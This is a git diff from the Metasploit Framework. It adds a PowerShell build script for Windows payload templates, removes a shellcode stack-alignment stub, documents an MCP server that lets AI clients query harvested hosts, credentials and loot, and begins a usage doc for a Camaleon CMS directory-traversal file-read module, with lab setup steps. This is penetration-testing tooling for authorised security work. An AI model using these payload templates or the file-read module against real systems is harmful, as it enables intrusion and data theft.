<edge source="block.0x1021" target="block.0x1029"/>
<edge source="block.0x1029" target="block.0x103a"/>
<edge source="block.0x103a" target="block.0x1045"/>
<edge source="block.0x1045" target="block.0x1049"/>
<edge source="block.0x1049" target="block.0x1051"/>
<edge source="block.0x1051" target="block.0x105d"/>
<edge source="block.0x105d" target="block.0x1065"/>
<edge source="block.0x1065" target="block.0x1085"/>
<edge source="block.0x1085" target="block.0x1086"/>
<edge source="block.0x100f" target="block.0x101b"/>
<edge source="block.0x101b" target="block.0x1022"/>
<edge source="block.0x1022" target="block.0x1024"/>
<edge source="block.0x1024" target="block.0x102c"/>
<edge source="block.0x102c" target="block.0x103d"/>
<edge source="block.0x103d" target="block.0x1048"/>
<edge source="block.0x1048" target="block.0x104c"/>
<edge source="block.0x104c" target="block.0x1055"/>
<edge source="block.0x1055" target="block.0x1061"/>
<edge source="block.0x1061" target="block.0x1066"/>
<edge source="block.0x1066" target="block.0x1086"/>
<edge source="block.0x1086" target="block.0x1087"/>
</graph>
</graphml>
+15 -6
View File
@@ -2,9 +2,18 @@
This directory contains the source code for the PE executable templates.
## Building
Use the provided `build_all.bat` file, and run it from within the Visual Studio
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
variable be defined (which it should be by default). The build script will
create both the x86 and x64 templates before moving them into the correct
folder. The current working directory when the build is run must be the source
code directory (`pe`).
Use the provided `build_all.ps1` script from within the Visual Studio developer
console. The script requires that the `%VCINSTALLDIR%` environment variable be
defined (which it should be by default). By default it builds all templates for
both x86 and x64, then moves the outputs into the correct folder.
```powershell
# build everything
.\build_all.ps1
# build only x86
.\build_all.ps1 -Architectures x86
# build only EXE templates
.\build_all.ps1 -Templates exe,exe_service
```
-17
View File
@@ -1,17 +0,0 @@
@echo off
echo Compiling DLLs
for /D %%d in (dll*) do (
pushd "%%d"
call build.bat
popd
)
echo Compiling EXEs
for /D %%e in (exe*) do (
pushd "%%e"
call build.bat
popd
)
+230
View File
@@ -0,0 +1,230 @@
<#
.SYNOPSIS
Build all PE executable and DLL templates for Metasploit.
.DESCRIPTION
Compiles x86 and x64 variants of the EXE, service EXE, DLL, GDI+ DLL, and
mixed-mode DLL templates using the MSVC toolchain. After linking, the EXE
templates are patched to lower the minimum subsystem version so they can run
on legacy Windows (NT 4.0+ for x86, Server 2003+ for x64). Modern MSVC
linkers enforce a floor of 5.01/5.02 which is too high for those targets.
.PARAMETER Architectures
Which architectures to build. Defaults to both x86 and x64.
.PARAMETER Templates
Which templates to build. Defaults to all of them.
.EXAMPLE
.\build_all.ps1
.\build_all.ps1 -Architectures x86
.\build_all.ps1 -Templates exe,exe_service
#>
param(
[ValidateSet('x86', 'x64')]
[string[]]$Architectures = @('x86', 'x64'),
[ValidateSet('exe', 'exe_service', 'dll', 'dll_gdiplus', 'dll_mixed_mode')]
[string[]]$Templates = @('exe', 'exe_service', 'dll', 'dll_gdiplus', 'dll_mixed_mode')
)
$ErrorActionPreference = 'Stop'
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
$OutputDir = Resolve-Path (Join-Path $ScriptDir '..\..')
# Each entry defines only what varies per template. The build function handles
# the common logic: calling cl, optional 256KiB variant, PE version patching.
#
# Dir - subdirectory containing the source
# OutputFmt - output filename format string, {0} is replaced with the architecture
# Source - source file passed to cl
# ClFlags - flags passed to cl (before /link)
# LinkLibs - libraries passed to the linker (after /link)
# LinkRes - optional .res file to link
# EntryPoint - /entry value
# NoDefaultLib - if set, pass /NODEFAULTLIB to the linker
# RcArgs - optional resource compiler arguments (run before cl)
# PatchVersion - if set, patch the PE subsystem version after linking
#
# DLL templates automatically get a 256KiB payload variant built alongside the
# standard size. This is determined by the output extension, not a per-template flag.
$BuildDefs = [ordered]@{
exe = @{
Dir = 'exe'
OutputFmt = 'template_{0}_windows.exe'
Source = 'template.c'
ClFlags = @('/GS-')
LinkLibs = @('kernel32.lib')
EntryPoint = 'main'
NoDefaultLib = $true
PatchVersion = $true
}
exe_service = @{
Dir = 'exe_service'
OutputFmt = 'template_{0}_windows_svc.exe'
Source = 'template.c'
ClFlags = @('/GS-', '/DBUILDMODE=2')
LinkLibs = @('advapi32.lib', 'kernel32.lib')
EntryPoint = 'main'
NoDefaultLib = $true
PatchVersion = $true
}
dll = @{
Dir = 'dll'
OutputFmt = 'template_{0}_windows.dll'
Source = 'template.c'
ClFlags = @('/LD', '/GS-', '/DBUILDMODE=2')
LinkLibs = @('kernel32.lib')
LinkRes = 'template.res'
EntryPoint = 'DllMain'
RcArgs = @('/v', 'template.rc')
}
dll_gdiplus = @{
Dir = 'dll_gdiplus'
OutputFmt = 'template_{0}_windows_dccw_gdiplus.dll'
Source = '../dll/template.c'
ClFlags = @('/LD', '/GS-', '/DBUILDMODE=2', '/I', '.', '/FI', 'exports.h')
LinkLibs = @('kernel32.lib')
LinkRes = 'template.res'
EntryPoint = 'DllMain'
RcArgs = @('/v', '/fo', 'template.res', '../dll/template.rc')
}
dll_mixed_mode = @{
Dir = 'dll_mixed_mode'
OutputFmt = 'template_{0}_windows_mixed_mode.dll'
Source = 'template.cpp'
ClFlags = @('/CLR', '/LD', '/GS-', '/I', '..\dll', '/DBUILDMODE=2')
LinkLibs = @('mscoree.lib', 'kernel32.lib')
EntryPoint = 'DllMain'
}
}
if (-not $env:VCINSTALLDIR) {
Write-Error 'VCINSTALLDIR is not set. Run this script from a Visual Studio Developer Command Prompt.'
exit 1
}
function Invoke-VCVars {
param([string]$Arch)
# vcvarsall.bat no-ops if VSCMD_VER is already set, so clear its state
# flags before re-running. Otherwise the second arch silently inherits
# the first arch's toolchain and produces wrong-architecture binaries.
foreach ($v in 'VSCMD_VER', 'VSCMD_ARG_TGT_ARCH', 'VSCMD_ARG_HOST_ARCH') {
[System.Environment]::SetEnvironmentVariable($v, $null, 'Process')
}
$vcvars = Join-Path $env:VCINSTALLDIR 'Auxiliary\Build\vcvarsall.bat'
cmd /c "`"$vcvars`" $Arch >nul 2>&1 && set" 2>&1 | ForEach-Object {
if ($_ -match '^([^=]+)=(.*)$') {
[System.Environment]::SetEnvironmentVariable($matches[1], $matches[2], 'Process')
}
}
}
function Invoke-Cl {
param(
[string[]]$ClFlags,
[string]$Source,
[string]$OutputName,
[string[]]$LinkLibs,
[string]$LinkRes,
[string]$EntryPoint,
[switch]$NoDefaultLib
)
$clArgs = $ClFlags + @($Source, "/Fe:$OutputName", '/link') + $LinkLibs
if ($LinkRes) { $clArgs += $LinkRes }
$clArgs += @("/entry:$EntryPoint", '/subsystem:WINDOWS')
if ($NoDefaultLib) { $clArgs += '/NODEFAULTLIB' }
& cl @clArgs
if ($LASTEXITCODE -ne 0) { Write-Error "cl failed for $OutputName" }
}
function Set-PEVersion {
param(
[string]$Path,
[int]$Major,
[int]$Minor
)
$bytes = [System.IO.File]::ReadAllBytes($Path)
$peOffset = [BitConverter]::ToInt32($bytes, 0x3C)
if ([System.Text.Encoding]::ASCII.GetString($bytes, $peOffset, 4) -ne "PE`0`0") {
Write-Error "$Path is not a valid PE file"
return
}
# PE optional header starts at peOffset + 24. Field offsets from its start:
# +40: MajorOperatingSystemVersion (uint16)
# +42: MinorOperatingSystemVersion (uint16)
# +48: MajorSubsystemVersion (uint16)
# +50: MinorSubsystemVersion (uint16)
# These offsets are identical for PE32 and PE32+.
$opt = $peOffset + 24
$verBytes = [BitConverter]::GetBytes([uint16]$Major)
$minBytes = [BitConverter]::GetBytes([uint16]$Minor)
$bytes[$opt + 40] = $verBytes[0]; $bytes[$opt + 41] = $verBytes[1]
$bytes[$opt + 42] = $minBytes[0]; $bytes[$opt + 43] = $minBytes[1]
$bytes[$opt + 48] = $verBytes[0]; $bytes[$opt + 49] = $verBytes[1]
$bytes[$opt + 50] = $minBytes[0]; $bytes[$opt + 51] = $minBytes[1]
[System.IO.File]::WriteAllBytes($Path, $bytes)
Write-Host " Patched OS and subsystem version to ${Major}.${Minor}"
}
function Build-Template {
param([string]$Arch, [string]$Name)
$def = $BuildDefs[$Name]
Push-Location (Join-Path $ScriptDir $def.Dir)
try {
if ($def.RcArgs) {
& rc @($def.RcArgs)
if ($LASTEXITCODE -ne 0) { throw "rc failed for $Name ($Arch)" }
}
$outName = $def.OutputFmt -f $Arch
Invoke-Cl -ClFlags $def.ClFlags -Source $def.Source -OutputName $outName `
-LinkLibs $def.LinkLibs -LinkRes $def.LinkRes `
-EntryPoint $def.EntryPoint -NoDefaultLib:([bool]$def.NoDefaultLib)
if ($Name -like 'dll*') {
$outName256 = $outName -replace '(\.\w+)$', '.256kib$1'
Invoke-Cl -ClFlags ($def.ClFlags + '/DSCSIZE=262144') -Source $def.Source -OutputName $outName256 `
-LinkLibs $def.LinkLibs -LinkRes $def.LinkRes `
-EntryPoint $def.EntryPoint -NoDefaultLib:([bool]$def.NoDefaultLib)
}
} finally { Pop-Location }
if ($def.PatchVersion) {
$outPath = Join-Path $ScriptDir "$($def.Dir)\$outName"
if ($Arch -eq 'x86') {
Set-PEVersion -Path $outPath -Major 4 -Minor 0
} else {
Set-PEVersion -Path $outPath -Major 5 -Minor 2
}
}
}
# Build each requested template for each architecture
foreach ($arch in $Architectures) {
Write-Host "`n=== Configuring for $arch ===" -ForegroundColor Cyan
Invoke-VCVars $arch
foreach ($tmpl in $Templates) {
Write-Host "`nBuilding: $tmpl ($arch)" -ForegroundColor Green
Build-Template -Arch $arch -Name $tmpl
}
}
# Clean intermediate files and move outputs
Write-Host "`n=== Cleaning up ===" -ForegroundColor Cyan
Get-ChildItem $ScriptDir -Recurse -File |
Where-Object { $_.Extension -in '.obj', '.res', '.exp', '.lib' } |
Remove-Item -Force
Write-Host "`n=== Moving outputs to $OutputDir ===" -ForegroundColor Cyan
Get-ChildItem $ScriptDir -Recurse -File |
Where-Object { $_.Extension -in '.exe', '.dll' } |
ForEach-Object {
Move-Item $_.FullName (Join-Path $OutputDir $_.Name) -Force
Write-Host " $($_.Name)"
}
Write-Host "`nDone." -ForegroundColor Green
-15
View File
@@ -1,15 +0,0 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v template.rc
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj *.res
move *.dll ..\..\..
@@ -1,15 +0,0 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rc /v /fo template.res ../dll/template.rc
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.exp *.lib *.res *.obj
move *.dll ..\..\..
@@ -1,15 +0,0 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
rem mscoree.lib requires .NET SDK to be installed, add it as a Visual Studio component
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj
move *.dll ..\..\..
-13
View File
@@ -1,13 +0,0 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /GS- template.c /Fe:template_%1_windows.exe /link kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj *.res
move *.exe ..\..\..
@@ -1,13 +0,0 @@
@echo off
if "%~1"=="" GOTO NO_ARGUMENTS
echo Compiling for: %1
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
cl /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows_svc.exe /link advapi32.lib kernel32.lib /entry:main /subsystem:WINDOWS /NODEFAULTLIB
exit /B
:NO_ARGUMENTS
%COMSPEC% /c "%0" x86
%COMSPEC% /c "%0" x64
del *.obj *.res
move *.exe ..\..\..
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,48 +0,0 @@
/*
* This code is provided under the 3-clause BSD license below.
* ***********************************************************
*
* Copyright (c) 2013, Matthew Graeber
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
; Author: Matthew Graeber (@mattifestation)
; License: BSD 3-Clause
; Syntax: MASM
; Build Syntax: ml64 /c /Cx AdjustStack.asm
; Output: AdjustStack.obj
; Notes: I really wanted to avoid having this external dependency but I couldnt
; come up with any other way to guarantee 16-byte stack alignment in 64-bit
; shellcode written in C.
extern ExecutePayload
global AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
; to be called as an extern in our C code.
segment .text
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.
AlignRSP:
push rsi ; Preserve RSI since were stomping on it
mov rsi, rsp ; Save the value of RSP so it can be restored
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
sub rsp, 020h ; Allocate homing space for ExecutePayload
call ExecutePayload ; Call the entry point of the payload
mov rsp, rsi ; Restore the original value of RSP
pop rsi ; Restore RSI
ret ; Return to caller
@@ -1,9 +0,0 @@
ENTRY(_ExecutePayload)
SECTIONS
{
.text :
{
*(.text.ExecutePayload)
}
}
@@ -1,11 +0,0 @@
ENTRY(AlignRSP)
SECTIONS
{
.text :
{
*(.text.AlignRSP)
*(.text.ExecutePayload)
*(.text.GetProcAddressWithHash)
}
}
+2217 -1948
View File
File diff suppressed because it is too large Load Diff
+3 -1
View File
@@ -10,7 +10,7 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema[7.2].define(version: 2026_01_30_124052) do
ActiveRecord::Schema[7.2].define(version: 2026_04_11_000000) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
@@ -665,6 +665,8 @@ ActiveRecord::Schema[7.2].define(version: 2026_01_30_124052) do
t.integer "session_id"
t.integer "loot_id"
t.text "fail_detail"
t.string "check_code"
t.text "check_detail"
end
create_table "vuln_details", id: :serial, force: :cascade do |t|
@@ -0,0 +1,366 @@
The Metasploit MCP Server (`msfmcpd`) provides AI applications with secure, structured access to Metasploit Framework data through the [Model Context Protocol](https://modelcontextprotocol.io/) (MCP). It acts as a middleware layer between AI clients (such as Claude, Cursor, or custom agents) and Metasploit, exposing 8 standardized tools for querying reconnaissance data and searching modules.
This initial implementation is **read-only**. Only tools that query data (modules, hosts, services, vulnerabilities, etc.) are available. Tools for module execution, session interaction, and database modifications will be added in a future iteration.
## Architecture
```mermaid
flowchart TD
ai_app["AI Application<br>(Claude, Cursor, etc.)"]
subgraph msfmcp_server["MsfMcp Server"]
mcp_layer["MCP Layer (8 Tools)<br>Input Validation / Rate Limiting / Response Transformation"]
rpc_manager["RPC Manager<br>Auto-detect / Auto-start / Lifecycle Management"]
api_client["Metasploit API Client<br>MessagePack RPC (port 55553) / JSON-RPC (port 8081)<br>Session Management"]
mcp_layer --> rpc_manager
rpc_manager --> api_client
end
msf["Metasploit Framework<br>(msfrpcd)"]
ai_app -- "MCP Protocol (stdio or HTTP)<br>JSON-RPC 2.0" --> mcp_layer
api_client -- "HTTP/HTTPS" --> msf
```
## Quick Start
The simplest way to start the MCP server is with no arguments:
```
./msfmcpd
```
The server automatically detects whether a Metasploit RPC server is already running on the configured port. If not, it starts one automatically with randomly generated credentials.
To use specific credentials:
```
./msfmcpd --user your_username --password your_password
```
## Configuration
### Configuration File
Copy the example configuration and edit it:
```
cp config/mcp_config.yaml.example config/mcp_config.yaml
```
A MessagePack RPC configuration looks like this:
```yaml
msf_api:
type: messagepack
host: localhost
port: 55553
ssl: true
endpoint: /api/
user: msfuser
password: CHANGEME
auto_start_rpc: true
mcp:
transport: stdio
rate_limit:
enabled: true
requests_per_minute: 60
burst_size: 10
logging:
enabled: false
level: INFO
log_file: msfmcp.log
```
For JSON-RPC with bearer token authentication, use the JSON-RPC example instead:
```
cp config/mcp_config_jsonrpc.yaml.example config/mcp_config.yaml
```
### Command-Line Options
```
./msfmcpd --help
Options:
--config PATH Path to configuration file
--enable-logging Enable file logging with sanitization
--log-file PATH Log file path (overrides config file)
--user USER MSF API username (for MessagePack auth)
--password PASS MSF API password (for MessagePack auth)
--no-auto-start-rpc Disable automatic RPC server startup
--mcp-transport TRANSPORT MCP server transport type ('stdio' or 'http')
-h, --help Show this help message
-v, --version Show version information
```
### Environment Variable Overrides
All configuration settings can be overridden by environment variables:
| Variable | Description |
|---|---|
| `MSF_API_TYPE` | Connection type (`messagepack` or `json-rpc`) |
| `MSF_API_HOST` | Metasploit RPC API host |
| `MSF_API_PORT` | Metasploit RPC API port |
| `MSF_API_SSL` | Use SSL for Metasploit RPC API (`true` or `false`) |
| `MSF_API_ENDPOINT` | Metasploit RPC API endpoint |
| `MSF_API_USER` | RPC API username (for MessagePack auth) |
| `MSF_API_PASSWORD` | RPC API password (for MessagePack auth) |
| `MSF_API_TOKEN` | RPC API token (for JSON-RPC auth) |
| `MSF_AUTO_START_RPC` | Auto-start RPC server (`true` or `false`) |
| `MSF_MCP_TRANSPORT` | MCP transport type (`stdio` or `http`) |
| `MSF_MCP_HOST` | MCP server host (for HTTP transport) |
| `MSF_MCP_PORT` | MCP server port (for HTTP transport) |
Example using environment variables:
```
MSF_API_HOST=192.168.33.44 ./msfmcpd --config ./config/mcp_config.yaml
```
## Automatic RPC Server Management
When using MessagePack RPC on localhost, the MCP server can automatically manage the Metasploit RPC server lifecycle. This is enabled by default.
### How It Works
1. **Detection**: On startup, the MCP server probes the configured RPC port to check if a server is already running.
2. **Auto-start**: If no server is detected, it spawns the `msfrpcd` executable as a child process.
3. **Credentials**: If no username and password are provided, random credentials are generated automatically and used for both the RPC server and client authentication.
4. **Wait**: After starting, it polls the port until the RPC server becomes available (timeout: 30 seconds).
5. **Shutdown**: When the MCP server shuts down (via Ctrl+C or SIGTERM), it cleans up the managed RPC process.
**Note**: If an RPC server is already running, credentials must be provided via `--user`/`--password`, config file, or environment variables to authenticate with it.
### Database Support
The auto-started RPC server creates a framework instance with database support enabled by default. If the database is not running when the RPC server starts, a warning is displayed:
```
[WARNING] Database is not available. Some MCP tools that rely on the database will not work.
[WARNING] Start the database and restart the MCP server to enable full functionality.
```
Tools that query the database (`msf_host_info`, `msf_service_info`, `msf_vulnerability_info`, `msf_note_info`, `msf_credential_info`, `msf_loot_info`) require a running database. To initialize and start the database:
```
msfdb init
msfdb start
```
Then restart the MCP server.
### Disabling Auto-Start
Auto-start can be disabled in three ways:
- CLI flag: `--no-auto-start-rpc`
- Config file: `auto_start_rpc: false` in the `msf_api` section
- Environment variable: `MSF_AUTO_START_RPC=false`
Auto-start is also not available when:
- The API type is `json-rpc` (requires SSL certificates and a web server)
- The host is a remote address (cannot start a server on a remote machine)
When auto-start is disabled and no RPC server is running, you must start `msfrpcd` manually:
```
msfrpcd -U your_username -P your_password -p 55553
```
## MCP Tools
The server exposes 8 tools to AI applications via the MCP protocol.
### msf_search_modules
Search for Metasploit modules by keywords, CVE IDs, or module names.
- `query` (string, required): Search terms (e.g., `windows smb`, `CVE-2017-0144`)
- `limit` (integer, optional): Max results (1-1000, default: 100)
- `offset` (integer, optional): Pagination offset (default: 0)
### msf_module_info
Get detailed information about a specific Metasploit module.
- `type` (string, required): Module type (`exploit`, `auxiliary`, `post`, `payload`, `encoder`, `nop`)
- `name` (string, required): Module path (e.g., `windows/smb/ms17_010_eternalblue`)
Returns complete module details including options, targets, references, and authors.
### msf_host_info
Query discovered hosts from the Metasploit database.
- `workspace` (string, optional): Workspace name (default: `default`)
- `addresses` (string, optional): Filter by IP/CIDR (e.g., `192.168.1.0/24`)
- `only_up` (boolean, optional): Only return alive hosts (default: false)
- `limit` (integer, optional): Max results (1-1000, default: 100)
- `offset` (integer, optional): Pagination offset (default: 0)
### msf_service_info
Query discovered services on hosts.
- `workspace` (string, optional): Workspace name
- `names` (string, optional): Filter by service names, comma-separated (e.g., `http`, `ldap,ssh`)
- `host` (string, optional): Filter by host IP
- `ports` (string, optional): Filter by port or range (e.g., `80,443` or `1-1024`)
- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
- `only_up` (boolean, optional): Only return running services (default: false)
- `limit` (integer, optional): Max results (1-1000, default: 100)
- `offset` (integer, optional): Pagination offset (default: 0)
### msf_vulnerability_info
Query discovered vulnerabilities.
- `workspace` (string, optional): Workspace name
- `names` (array of strings, optional): Filter by vulnerability names (exact, case-sensitive module names)
- `host` (string, optional): Filter by host IP
- `ports` (string, optional): Filter by port or range
- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
- `limit` (integer, optional): Max results (1-1000, default: 100)
- `offset` (integer, optional): Pagination offset (default: 0)
### msf_note_info
Query notes stored in the database.
- `workspace` (string, optional): Workspace name
- `type` (string, optional): Filter by note type (e.g., `ssl.certificate`, `smb.fingerprint`)
- `host` (string, optional): Filter by host IP
- `ports` (string, optional): Filter by port or range
- `protocol` (string, optional): Protocol filter (`tcp` or `udp`)
- `limit` (integer, optional): Max results (1-1000, default: 100)
- `offset` (integer, optional): Pagination offset (default: 0)
### msf_credential_info
Query discovered credentials.
- `workspace` (string, optional): Workspace name
- `limit` (integer, optional): Max results (1-1000, default: 100)
- `offset` (integer, optional): Pagination offset (default: 0)
### msf_loot_info
Query collected loot (files, data dumps).
- `workspace` (string, optional): Workspace name
- `limit` (integer, optional): Max results (1-1000, default: 100)
- `offset` (integer, optional): Pagination offset (default: 0)
## Integration with AI Applications
Add the MCP server to your AI application configuration. The exact format depends on the client.
### Claude Desktop / Cursor
```json
{
"mcpServers": {
"metasploit": {
"command": "/path/to/metasploit-framework/msfmcpd",
"args": [
"--config",
"/path/to/config/mcp_config.yaml"
],
"env": {}
}
}
}
```
### Using RVM
If you use RVM to manage Ruby versions, specify the full path to RVM so the correct Ruby and gemset are used:
```json
{
"mcpServers": {
"metasploit": {
"command": "/your/home_dir/.rvm/bin/rvm",
"args": [
"in",
"/path/to/metasploit-framework",
"do",
"./msfmcpd",
"--config",
"config/mcp_config.yaml"
]
}
}
}
```
## Security Considerations
### Input Validation
All tool parameters are validated against strict JSON schemas. IP addresses are validated using Ruby's `IPAddr` class with CIDR support, workspace names are restricted to alphanumeric characters plus underscore/hyphen, port ranges are validated (1-65535), and search queries are limited to 500 characters.
### Credential Management
Configuration files should use `chmod 600` permissions. Credentials are transmitted securely to the Metasploit Framework API and are never cached or logged by the MCP server.
### Rate Limiting
The server applies rate limiting to all MCP tools using a token bucket algorithm. Default: 60 requests per minute with a burst of 10 requests. This is configurable in the `rate_limit` section of the configuration file.
### Logging
Logging is disabled by default. When enabled (via `--enable-logging` or config), sensitive data (passwords, tokens, API keys) is automatically redacted. Log files should be protected with `chmod 600`.
### Error Handling
Stack traces are never exposed to clients. Error messages are sanitized to avoid leaking credentials. Metasploit API errors are wrapped in the MCP error format.
## Testing with MCP Inspector
The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. It runs directly through `npx`:
```
npx @modelcontextprotocol/inspector
```
## Troubleshooting
### Connection Refused or Timeout
1. Verify the RPC daemon is running: `ps aux | grep msfrpcd`
2. Check the port is listening: `netstat -an | grep 55553`
3. Test connectivity: `curl -k -v https://localhost:55553/api/`
### Authentication Failures
For MessagePack RPC, verify the username and password in your configuration file or CLI arguments. For JSON-RPC, verify the bearer token is valid and has not expired.
### Database Not Available
If database-dependent tools return errors, ensure the database is running:
```
msfdb init
msfdb start
```
Then restart the MCP server.
### Rate Limit Exceeded
Increase the rate limit in your configuration file:
```yaml
rate_limit:
requests_per_minute: 120
burst_size: 20
```
+3
View File
@@ -448,6 +448,9 @@ NAVIGATION_CONFIG = [
{
path: 'How-to-use-Metasploit-with-ngrok.md'
},
{
path: 'How-to-use-Metasploit-MCP-Server.md'
},
]
},
]
@@ -0,0 +1,216 @@
## Vulnerable Application
This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions <= 2.8.0 and version 2.9.0.
CVE-2024-46987 mistakenly indicates that versions 2.8.1 and 2.8.2 are also vulnerable, however this is not the case.
## Setup
See [Camaleon CMS](https://github.com/owen2345/camaleon-cms) documentation.
The following describes how to setup Camaleon CMS version 2.8.0 on Ubuntu.
### Requirements
- Rails 6.1+
- PostgreSQL, MySQL 5+ or SQlite
- Ruby 3.0+
- Imagemagick
### Install Ruby
guides.rubyonrails.org/install_ruby_on_rails.html
~~~bash
sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev git curl
~~~
### Install Mise
~~~bash
curl https://mise.run | sh
echo "eval \"\$(~/.local/bin/mise activate)\"" >> ~/.bashrc
source ~/.bashrc
~~~
### Install Ruby with Mise
~~~bash
$ mise use -g ruby@3.0
$ ruby --version
ruby 3.0.7p220 ...
~~~
### Install Imagemagick
~~~bash
sudo apt install --no-install-recommends imagemagick
~~~
### Install Postgresql
~~~bash
sudo apt install postgresql
~~~
### Install Rails
~~~bash
$ gem install rails -v 6.1
~~~
#### concurrent-ruby Issue
Downgrade concurrent-ruby to 1.3.4
~~~bash
$ gem list concurrent-ruby
concurrent-ruby (1.3.6)
$ gem install concurrent-ruby -v 1.3.4
$ gem uninstall concurrent-ruby -v 1.3.6
$ rails --version
Rails 6.1.7.10
~~~
### Create Rails Project
Run `rails new camaleon_project`
### Gemfile
In your Gemfile do the following:
Replace `gem 'spring'` with `gem 'spring', '4.2.1'`
Delete this line to prevent [conflict](https://github.com/owen2345/camaleon-cms/issues/1111): `gem 'sass-rails', '>= 6'`
Put these lines at the bottom of your Gemfile:
~~~
gem 'camaleon_cms', '2.8.0'
gem 'concurrent-ruby', '1.3.4'
~~~
### Install Bundle
From the project directory run `bundle install`
### Webpacker.yml Issue
~~~bash
wget -O camaleon_project/config/webpacker.yml https://raw.githubusercontent.com/rails/webpacker/master/lib/install/config/webpacker.yml
~~~
### Camaleon CMS Installation
~~~bash
rails generate camaleon_cms:install
rake camaleon_cms:generate_migrations
rake db:migrate
~~~
### Run Rails
~~~bash
bundle exec rails server -b 0.0.0.0
~~~
Navigate to `http://{ip address}:3000` and enter test under the Name field.
### Setup Server
When prompted with the new installation page just enter "test" into the Name field and continue.
#### Create Unprivileged User (Optional)
Navigate to `http://{ip address}:3000/admin` - login with the default admin credentials "admin:admin123"
Then navigate to "Users -> + Add User" and fill out the form.
## Verification Steps
1. Do: `use auxiliary/gather/camaleon_download_private_file`
2. Do: `set RHOST [IP]`
3. Do: `run`
## Options
### FILEPATH
The filepath of the file to read.
### DEPTH
The number of "../" appended to the filename. Default is 13
## Scenarios
```
msf > use auxiliary/gather/camaleon_download_private_file
msf auxiliary(gather/camaleon_download_private_file) > set rhost 10.0.0.45
